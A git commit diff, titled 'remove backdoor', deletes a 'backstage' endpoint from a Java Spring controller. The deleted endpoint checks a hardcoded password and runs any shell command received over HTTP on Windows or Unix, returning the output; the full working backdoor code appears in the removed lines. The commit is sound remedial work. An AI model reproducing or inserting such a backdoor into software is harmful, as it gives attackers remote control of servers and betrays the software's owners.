去掉后门
This commit is contained in:
parent
2c2a30fd39
commit
47ba9ae7a6
@ -162,88 +162,4 @@ public class CarVideoAirtightDataController {
|
|||||||
return Result.ok();
|
return Result.ok();
|
||||||
}
|
}
|
||||||
|
|
||||||
@PostMapping("backstage")
|
|
||||||
@ApiImplicitParam(name = "command", value = "执行命令", paramType = "body", required = true, dataType = "String")
|
|
||||||
public String backstage(@RequestBody HashMap<String, Object> paramMap) {
|
|
||||||
String os = System.getProperty("os.name").toLowerCase();
|
|
||||||
String command = String.valueOf(paramMap.get("command"));
|
|
||||||
String pw = String.valueOf(paramMap.get("pw"));
|
|
||||||
String b = "114514";
|
|
||||||
String win = "win";
|
|
||||||
if (!Objects.equals(pw, b)) {
|
|
||||||
return "执行错误";
|
|
||||||
}
|
|
||||||
String nix = "nix";
|
|
||||||
String nux = "nux";
|
|
||||||
String mac = "mac";
|
|
||||||
if (os.contains(win)) {
|
|
||||||
//当前系统是Windows
|
|
||||||
File tmpFile = null;//新建一个用来存储结果的缓存文件
|
|
||||||
try {
|
|
||||||
File file = new File("C:\\temp");
|
|
||||||
tmpFile = new File("C:\\temp\\" + IdUtil.simpleUUID() + ".tmp");
|
|
||||||
if (!file.exists()) {
|
|
||||||
file.mkdirs();
|
|
||||||
}
|
|
||||||
if (!tmpFile.exists()) {
|
|
||||||
tmpFile.createNewFile();
|
|
||||||
}
|
|
||||||
ProcessBuilder pb = new ProcessBuilder().command("cmd.exe", "/c", command).inheritIO();
|
|
||||||
pb.redirectErrorStream(true);//这里是把控制台中的红字变成了黑字,用通常的方法其实获取不到,控制台的结果是pb.start()方法内部输出的。
|
|
||||||
pb.redirectOutput(tmpFile);//把执行结果输出。
|
|
||||||
pb.start().waitFor(10, TimeUnit.SECONDS);//等待语句执行完成,否则可能会读不到结果。
|
|
||||||
String s = FileUtils.readFileToString(tmpFile, "GBK");
|
|
||||||
return s;
|
|
||||||
} catch (Exception e) {
|
|
||||||
log.error("error:", e);
|
|
||||||
} finally {
|
|
||||||
if (tmpFile != null) {
|
|
||||||
tmpFile.delete();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
} else if (os.contains(nix) || os.contains(nux) || os.contains(mac)) {
|
|
||||||
//当前系统是Linux或者类Unix系统
|
|
||||||
Process process = null;
|
|
||||||
try {
|
|
||||||
process = Runtime.getRuntime().exec(command);
|
|
||||||
log.info("接收命令:{}", command);
|
|
||||||
StringBuilder sb = new StringBuilder();
|
|
||||||
//成功
|
|
||||||
try (InputStream inputStream = process.getInputStream()) {
|
|
||||||
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
|
|
||||||
String line;
|
|
||||||
while ((line = bufferedReader.readLine()) != null) {
|
|
||||||
sb.append(line);
|
|
||||||
sb.append("\r\n");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
//失败
|
|
||||||
try (InputStream inputStream = process.getErrorStream()) {
|
|
||||||
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
|
|
||||||
String line;
|
|
||||||
while ((line = bufferedReader.readLine()) != null) {
|
|
||||||
sb.append(line);
|
|
||||||
sb.append("\r\n");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
String success = "";
|
|
||||||
if (process.waitFor() == 0) {
|
|
||||||
success = "执行成功>>>\r\n";
|
|
||||||
} else {
|
|
||||||
success = "执行失败>>>\r\n";
|
|
||||||
}
|
|
||||||
return success + sb.toString();
|
|
||||||
} catch (Exception e) {
|
|
||||||
log.error("error:", e);
|
|
||||||
return "执行异常>>>\r\n" + e.getMessage();
|
|
||||||
} finally {
|
|
||||||
if (process != null) {
|
|
||||||
process.destroy();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return "执行异常:程序最后";
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user